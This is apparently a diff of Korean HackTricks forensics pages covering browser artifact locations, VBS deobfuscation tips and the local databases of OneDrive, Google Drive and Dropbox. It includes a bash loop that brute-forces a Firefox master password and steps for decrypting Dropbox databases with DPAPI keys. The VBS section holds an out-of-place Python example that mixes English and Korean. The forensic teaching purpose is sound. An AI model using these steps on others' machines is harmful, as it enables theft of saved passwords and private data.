[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 브라우저 아티팩트 <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
브라우저 아티팩트에는 네비게이션 히스토리, 북마크 및 캐시 데이터와 같은 웹 브라우저에 의해 저장된 다양한 유형의 데이터가 포함됩니다. 이러한 아티팩트는 운영 체제 내의 특정 폴더에 보관되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 데이터 유형을 저장합니다.
|
||||
|
||||
가장 일반적인 브라우저 아티팩트 요약은 다음과 같습니다:
|
||||
|
||||
* **네비게이션 히스토리**: 사용자가 웹 사이트를 방문한 내역을 추적하여 악성 사이트 방문을 식별하는 데 유용합니다.
|
||||
* **자동완성 데이터**: 빈번한 검색을 기반으로 하는 제안으로, 네비게이션 히스토리와 결합되면 통찰을 제공합니다.
|
||||
* **북마크**: 사용자가 빠르게 액세스하기 위해 저장한 사이트.
|
||||
* **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온.
|
||||
* **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹 사이트 로딩 시간을 단축하는 데 유용한 포렌식 분석에 가치가 있습니다.
|
||||
* **로그인**: 저장된 로그인 자격 증명.
|
||||
* **파비콘**: 탭 및 북마크에 나타나는 웹 사이트와 관련된 아이콘으로, 사용자 방문에 대한 추가 정보로 유용합니다.
|
||||
* **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터.
|
||||
* **다운로드**: 브라우저를 통해 다운로드한 파일의 기록.
|
||||
* **양식 데이터**: 웹 양식에 입력된 정보로, 미래 자동 입력 제안을 위해 저장됩니다.
|
||||
* **썸네일**: 웹 사이트의 미리 보기 이미지.
|
||||
* **사용자 지정 사전.txt**: 사용자가 브라우저 사전에 추가한 단어.
|
||||
|
||||
## 파이어폭스
|
||||
|
||||
파이어폭스는 프로필 내에서 사용자 데이터를 조직화하며, 운영 체제에 따라 특정 위치에 저장됩니다:
|
||||
|
||||
* **리눅스**: `~/.mozilla/firefox/`
|
||||
* **맥OS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
* **윈도우**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
이러한 디렉토리 내에 있는 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini`와 동일한 디렉토리에 위치한 `profiles.ini` 내의 `Path` 변수로 명명된 폴더에 저장됩니다. 프로필 폴더가 누락된 경우 삭제된 것일 수 있습니다.
|
||||
|
||||
각 프로필 폴더 내에서 여러 중요한 파일을 찾을 수 있습니다:
|
||||
|
||||
* **places.sqlite**: 히스토리, 북마크 및 다운로드를 저장합니다. Windows의 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)와 같은 도구는 히스토리 데이터에 액세스할 수 있습니다.
|
||||
* 특정 SQL 쿼리를 사용하여 히스토리 및 다운로드 정보를 추출합니다.
|
||||
* **bookmarkbackups**: 북마크의 백업을 포함합니다.
|
||||
* **formhistory.sqlite**: 웹 양식 데이터를 저장합니다.
|
||||
* **handlers.json**: 프로토콜 핸들러를 관리합니다.
|
||||
* **persdict.dat**: 사용자 지정 사전 단어.
|
||||
* **addons.json** 및 **extensions.sqlite**: 설치된 애드온 및 확장 프로그램 정보.
|
||||
* **cookies.sqlite**: 쿠키 저장소로, Windows에서는 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)를 통해 검사할 수 있습니다.
|
||||
* **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)와 같은 도구를 통해 액세스할 수 있습니다.
|
||||
* **favicons.sqlite**: 파비콘을 저장합니다.
|
||||
* **prefs.js**: 사용자 설정 및 환경 설정.
|
||||
* **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재는 places.sqlite에 통합됩니다.
|
||||
* **thumbnails**: 웹 사이트 썸네일.
|
||||
* **logins.json**: 암호화된 로그인 정보.
|
||||
* **key4.db** 또는 **key3.db**: 민감한 정보 보호를 위한 암호화 키를 저장합니다.
|
||||
|
||||
또한, 브라우저의 안티 피싱 설정을 확인하려면 `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 브라우징 기능이 활성화되었는지 비활성화되었는지 확인할 수 있습니다.
|
||||
|
||||
마스터 암호를 복호화하려면 [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)를 사용할 수 있습니다. 다음 스크립트와 호출을 사용하여 브루트 포스할 암호 파일을 지정할 수 있습니다:
|
||||
|
||||
{% code title="brute.sh" %}
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
|
||||
passfile=$1
|
||||
while read pass; do
|
||||
echo "Trying $pass"
|
||||
echo "$pass" | python firefox_decrypt.py
|
||||
done < $passfile
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
![](<../../../.gitbook/assets/image (417).png>)
|
||||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome은 운영 체제에 따라 특정 위치에 사용자 프로필을 저장합니다:
|
||||
|
||||
* **Linux**: `~/.config/google-chrome/`
|
||||
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
이러한 디렉토리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에서 찾을 수 있습니다. 다음 파일에 중요한 데이터가 포함되어 있습니다:
|
||||
|
||||
* **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)를 사용하여 히스토리를 읽을 수 있습니다. "Transition Type" 열에는 사용자가 링크를 클릭하거나 URL을 입력하거나 양식을 제출하거나 페이지를 새로 고침하는 등 다양한 의미가 포함됩니다.
|
||||
* **Cookies**: 쿠키를 저장합니다. 검사를 위해 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)를 사용할 수 있습니다.
|
||||
* **Cache**: 캐시된 데이터를 보유합니다. 검사를 위해 Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)를 활용할 수 있습니다.
|
||||
* **Bookmarks**: 사용자 북마크입니다.
|
||||
* **Web Data**: 양식 히스토리를 포함합니다.
|
||||
* **Favicons**: 웹 사이트의 아이콘을 저장합니다.
|
||||
* **Login Data**: 사용자 이름 및 비밀번호와 같은 로그인 자격 증명을 포함합니다.
|
||||
* **Current Session**/**Current Tabs**: 현재 브라우징 세션 및 열린 탭에 대한 데이터입니다.
|
||||
* **Last Session**/**Last Tabs**: Chrome이 닫히기 전에 활성화된 사이트에 대한 정보입니다.
|
||||
* **Extensions**: 브라우저 확장 프로그램 및 애드온을 위한 디렉토리입니다.
|
||||
* **Thumbnails**: 웹 사이트 썸네일을 저장합니다.
|
||||
* **Preferences**: 플러그인, 확장 프로그램, 팝업, 알림 등의 설정을 포함한 정보가 풍부한 파일입니다.
|
||||
* **브라우저 내장 안티 피싱**: 안티 피싱 및 악성 코드 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다.
|
||||
|
||||
## **SQLite DB 데이터 복구**
|
||||
|
||||
이전 섹션에서 볼 수 있듯이 Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. 삭제된 항목을 복구할 수 있는 도구인 [**sqlparse**](https://github.com/padfoot999/sqlparse) 또는 [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다.
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11은 다양한 위치에 데이터 및 메타데이터를 관리하여 저장된 정보와 해당 세부 정보를 쉽게 액세스하고 관리할 수 있도록 지원합니다.
|
||||
|
||||
### 메타데이터 저장
|
||||
|
||||
Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX가 V01, V16 또는 V24인 경우)에 저장됩니다. 이와 관련하여 `V01.log` 파일은 `WebcacheVX.data`와 수정 시간의 불일치를 보여줄 수 있으며, `esentutl /r V01 /d`를 사용하여 복구해야 할 수 있습니다. 이 ESE 데이터베이스에 저장된 메타데이터는 photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, 이는 Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보를 포함합니다.
|
||||
|
||||
### 캐시 검사
|
||||
|
||||
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) 도구를 사용하여 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시의 메타데이터에는 파일 이름, 디렉토리, 액세스 횟수, URL 원본 및 캐시 생성, 액세스, 수정 및 만료 시간을 나타내는 타임스탬프가 포함됩니다.
|
||||
|
||||
### 쿠키 관리
|
||||
|
||||
쿠키는 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html)를 사용하여 탐색할 수 있으며, 메타데이터에는 이름, URL, 액세스 횟수 및 다양한 시간 관련 세부 정보가 포함됩니다. 영구 쿠키는 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`에 저장되며, 세션 쿠키는 메모리에 저장됩니다.
|
||||
|
||||
### 다운로드 세부 정보
|
||||
|
||||
다운로드 메타데이터는 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)를 통해 액세스할 수 있으며, 특정 컨테이너에는 URL, 파일 유형 및 다운로드 위치와 같은 데이터가 저장됩니다. 물리적 파일은 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`에서 찾을 수 있습니다.
|
||||
|
||||
### 브라우징 히스토리
|
||||
|
||||
브라우징 히스토리를 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)를 사용하고, 추출된 히스토리 파일의 위치와 Internet Explorer 구성을 필요로 합니다. 여기서 메타데이터에는 수정 및 액세스 시간과 액세스 횟수가 포함됩니다. 히스토리 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 있습니다.
|
||||
|
||||
### 입력된 URL
|
||||
|
||||
입력된 URL 및 사용 시간은 레지스트리 내 `NTUSER.DAT`의 `Software\Microsoft\InternetExplorer\TypedURLs` 및 `Software\Microsoft\InternetExplorer\TypedURLsTime`에 저장되며, 사용자가 입력한 마지막 50개의 URL과 마지막 입력 시간을 추적합니다.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge는 사용자 데이터를 `%userprofile%\Appdata\Local\Packages`에 저장합니다. 다양한 데이터 유형의 경로는 다음과 같습니다:
|
||||
|
||||
* **프로필 경로**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
* **히스토리, 쿠키 및 다운로드**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
* **설정, 북마크 및 읽기 목록**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
* **캐시**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
* **최근 활성 세션**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
||||
## Safari
|
||||
|
||||
Safari 데이터는 `/Users/$User/Library/Safari`에 저장됩니다. 주요 파일은 다음과 같습니다:
|
||||
|
||||
* **History.db**: URL 및 방문 타임스탬프를 포함하는 `history_visits` 및 `history_items` 테이블이 포함되어 있습니다. 쿼리를 수행하려면 `sqlite3`를 사용합니다.
|
||||
* **Downloads.plist**: 다운로드된 파일에 대한 정보입니다.
|
||||
* **Bookmarks.plist**: 북마크된 URL을 저장합니다.
|
||||
* **TopSites.plist**: 가장 자주 방문하는 사이트입니다.
|
||||
* **Extensions.plist**: Safari 브라우저 확장 프로그램 목록입니다. 검색하려면 `plutil` 또는 `pluginkit`을 사용합니다.
|
||||
* **UserNotificationPermissions.plist**: 푸시 알림을 허용하는 도메인입니다. 구문 분석하려면 `plutil`을 사용합니다.
|
||||
* **LastSession.plist**: 마지막 세션의 탭입니다. 구문 분석하려면 `plutil`을 사용합니다.
|
||||
* **브라우저 내장 안티 피싱**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 1이 응답되면 해당 기능이 활성화되어 있음을 나타냅니다.
|
||||
|
||||
## Opera
|
||||
|
||||
Opera 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`에 저장되며, 히스토리 및 다운로드에 대한 Chrome의 형식을 공유합니다.
|
||||
|
||||
* **브라우저 내장 안티 피싱**: `fraud_protection_enabled`이 `true`로 설정되어 있는지 확인하려면 `grep`를 사용합니다.
|
||||
|
||||
이러한 경로 및 명령은 다른 웹 브라우저에 의해 저장된 브라우징 데이터에 액세스하고 이해하는 데 중요합니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
|
||||
* **책: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 제로에서 영웅까지 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
* **HackTricks**에서 귀하의 **회사 광고를 보고 싶거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,97 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
악성 VBS 파일을 디버그/해독하는 데 유용할 수 있는 몇 가지 사항:
|
||||
|
||||
## echo
|
||||
```bash
|
||||
Wscript.Echo "Like this?"
|
||||
```
|
||||
## 코멘트
|
||||
```bash
|
||||
' this is a comment
|
||||
```
|
||||
## 테스트
|
||||
```bash
|
||||
cscript.exe file.vbs
|
||||
```
|
||||
## 파일에 데이터 작성하기
|
||||
|
||||
To write data to a file in Python, you can use the `write()` method of the file object. Here is an example:
|
||||
|
||||
```python
|
||||
# 파일 열기
|
||||
file = open("filename.txt", "w")
|
||||
|
||||
# 데이터 작성
|
||||
file.write("Hello, World!")
|
||||
|
||||
# 파일 닫기
|
||||
file.close()
|
||||
```
|
||||
|
||||
위의 예시에서는 Python의 파일 객체의 `write()` 메서드를 사용하여 파일에 데이터를 작성합니다.
|
||||
|
||||
```python
|
||||
# 파일 열기
|
||||
file = open("filename.txt", "w")
|
||||
|
||||
# 데이터 작성
|
||||
file.write("안녕하세요, 세상!")
|
||||
|
||||
# 파일 닫기
|
||||
file.close()
|
||||
```
|
||||
|
||||
In this example, we open the file named "filename.txt" in write mode (`"w"`), write the string "Hello, World!" to the file, and then close the file.
|
||||
|
||||
위의 예시에서는 "filename.txt"라는 파일을 쓰기 모드(`"w"`)로 열고, 문자열 "안녕하세요, 세상!"을 파일에 작성한 후 파일을 닫습니다.
|
||||
```js
|
||||
Function writeBinary(strBinary, strPath)
|
||||
|
||||
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
' below lines purpose: checks that write access is possible!
|
||||
Dim oTxtStream
|
||||
|
||||
On Error Resume Next
|
||||
Set oTxtStream = oFSO.createTextFile(strPath)
|
||||
|
||||
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
|
||||
On Error GoTo 0
|
||||
|
||||
Set oTxtStream = Nothing
|
||||
' end check of write access
|
||||
|
||||
With oFSO.createTextFile(strPath)
|
||||
.Write(strBinary)
|
||||
.Close
|
||||
End With
|
||||
|
||||
End Function
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,136 @@
|
|||
# 로컬 클라우드 저장소
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks 다운로드**를 원한다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## OneDrive
|
||||
|
||||
Windows에서 OneDrive 폴더는 `\Users\<username>\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 폴더 안에 있는 `SyncDiagnostics.log` 파일에서 동기화된 파일에 관한 흥미로운 데이터를 찾을 수 있습니다:
|
||||
|
||||
* 바이트 단위의 크기
|
||||
* 생성 날짜
|
||||
* 수정 날짜
|
||||
* 클라우드의 파일 수
|
||||
* 폴더의 파일 수
|
||||
* **CID**: OneDrive 사용자의 고유 ID
|
||||
* 보고서 생성 시간
|
||||
* OS의 HD 크기
|
||||
|
||||
CID를 찾으면 **이 ID를 포함하는 파일을 검색**하는 것이 좋습니다. OneDrive와 동기화된 파일의 이름을 포함할 수 있는 _**\<CID>.ini**_ 및 _**\<CID>.dat**_와 같은 파일을 찾을 수 있습니다.
|
||||
|
||||
## Google Drive
|
||||
|
||||
Windows에서 주요 Google Drive 폴더는 `\Users\<username>\AppData\Local\Google\Drive\user_default`에 있습니다.\
|
||||
이 폴더에는 Sync\_log.log라는 파일이 포함되어 있으며 해당 파일에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등과 같은 정보가 포함되어 있습니다. 심지어 삭제된 파일도 해당 로그 파일에 해당하는 MD5와 함께 나타납니다.
|
||||
|
||||
파일 **`Cloud_graph\Cloud_graph.db`**는 **`cloud_graph_entry`** 테이블을 포함하는 sqlite 데이터베이스이며, 이 테이블에서 **동기화된 파일의 이름**, 수정 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다.
|
||||
|
||||
데이터베이스 **`Sync_config.db`**의 테이블 데이터에는 계정의 이메일 주소, 공유 폴더의 경로 및 Google Drive 버전이 포함되어 있습니다.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox는 파일을 관리하기 위해 **SQLite 데이터베이스**를 사용합니다. 여기에서\
|
||||
데이터베이스를 찾을 수 있습니다:
|
||||
|
||||
* `\Users\<username>\AppData\Local\Dropbox`
|
||||
* `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
||||
* `\Users\<username>\AppData\Roaming\Dropbox`
|
||||
|
||||
주요 데이터베이스는 다음과 같습니다:
|
||||
|
||||
* Sigstore.dbx
|
||||
* Filecache.dbx
|
||||
* Deleted.dbx
|
||||
* Config.dbx
|
||||
|
||||
".dbx" 확장자는 데이터베이스가 **암호화**되었음을 의미합니다. Dropbox는 **DPAPI**를 사용합니다 ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
|
||||
Dropbox가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)를 참조하세요.
|
||||
|
||||
그러나 주요 정보는 다음과 같습니다:
|
||||
|
||||
* **엔트로피**: d114a55212655f74bd772e37e64aee9b
|
||||
* **솔트**: 0D638C092E8B82FC452883F95F355B8E
|
||||
* **알고리즘**: PBKDF2
|
||||
* **반복 횟수**: 1066
|
||||
|
||||
해당 정보 외에도 데이터베이스를 복호화하려면 다음이 필요합니다:
|
||||
|
||||
* **암호화된 DPAPI 키**: 이진 형식으로 `NTUSER.DAT\Software\Dropbox\ks\client` 레지스트리 내에서 찾을 수 있습니다 (이 데이터를 내보내기)
|
||||
* **`SYSTEM`** 및 **`SECURITY`** 하이브
|
||||
* **DPAPI 마스터 키**: `\Users\<username>\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다
|
||||
* Windows 사용자의 **사용자 이름** 및 **암호**
|
||||
|
||||
그런 다음 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html) 도구를 사용할 수 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (448).png>)
|
||||
|
||||
모든 것이 예상대로 진행되면, 도구는 **복구할 원본 키**를 나타내는 **기본 키**를 알려줍니다. 원본 키를 복구하려면 이 [cyber\_chef 레시피](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)에 기본 키를 "passphrase"로 넣어 사용하면 됩니다.
|
||||
|
||||
결과 hex는 데이터베이스를 복호화하는 데 사용되는 최종 키이며 다음과 같이 복호화할 수 있습니다:
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
**`config.dbx`** 데이터베이스에는 다음이 포함되어 있습니다:
|
||||
|
||||
* **이메일**: 사용자의 이메일
|
||||
* **usernamedisplayname**: 사용자의 이름
|
||||
* **dropbox\_path**: 드롭박스 폴더가 위치한 경로
|
||||
* **Host\_id: 클라우드에 인증하는 해시**. 이는 웹에서만 취소할 수 있습니다.
|
||||
* **Root\_ns**: 사용자 식별자
|
||||
|
||||
**`filecache.db`** 데이터베이스에는 드롭박스와 동기화된 모든 파일 및 폴더에 대한 정보가 포함되어 있습니다. `File_journal` 테이블에는 더 유용한 정보가 많이 있습니다:
|
||||
|
||||
* **Server\_path**: 서버 내 파일이 위치한 경로 (이 경로는 클라이언트의 `host_id`로 선행됨).
|
||||
* **local\_sjid**: 파일의 버전
|
||||
* **local\_mtime**: 수정 날짜
|
||||
* **local\_ctime**: 생성 날짜
|
||||
|
||||
이 데이터베이스 내의 다른 테이블에는 더 흥미로운 정보가 포함되어 있습니다:
|
||||
|
||||
* **block\_cache**: 드롭박스의 모든 파일 및 폴더의 해시
|
||||
* **block\_ref**: `block_cache` 테이블의 해시 ID를 `file_journal` 테이블의 파일 ID와 관련시킴
|
||||
* **mount\_table**: 드롭박스의 공유 폴더
|
||||
* **deleted\_fields**: 드롭박스에서 삭제된 파일
|
||||
* **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
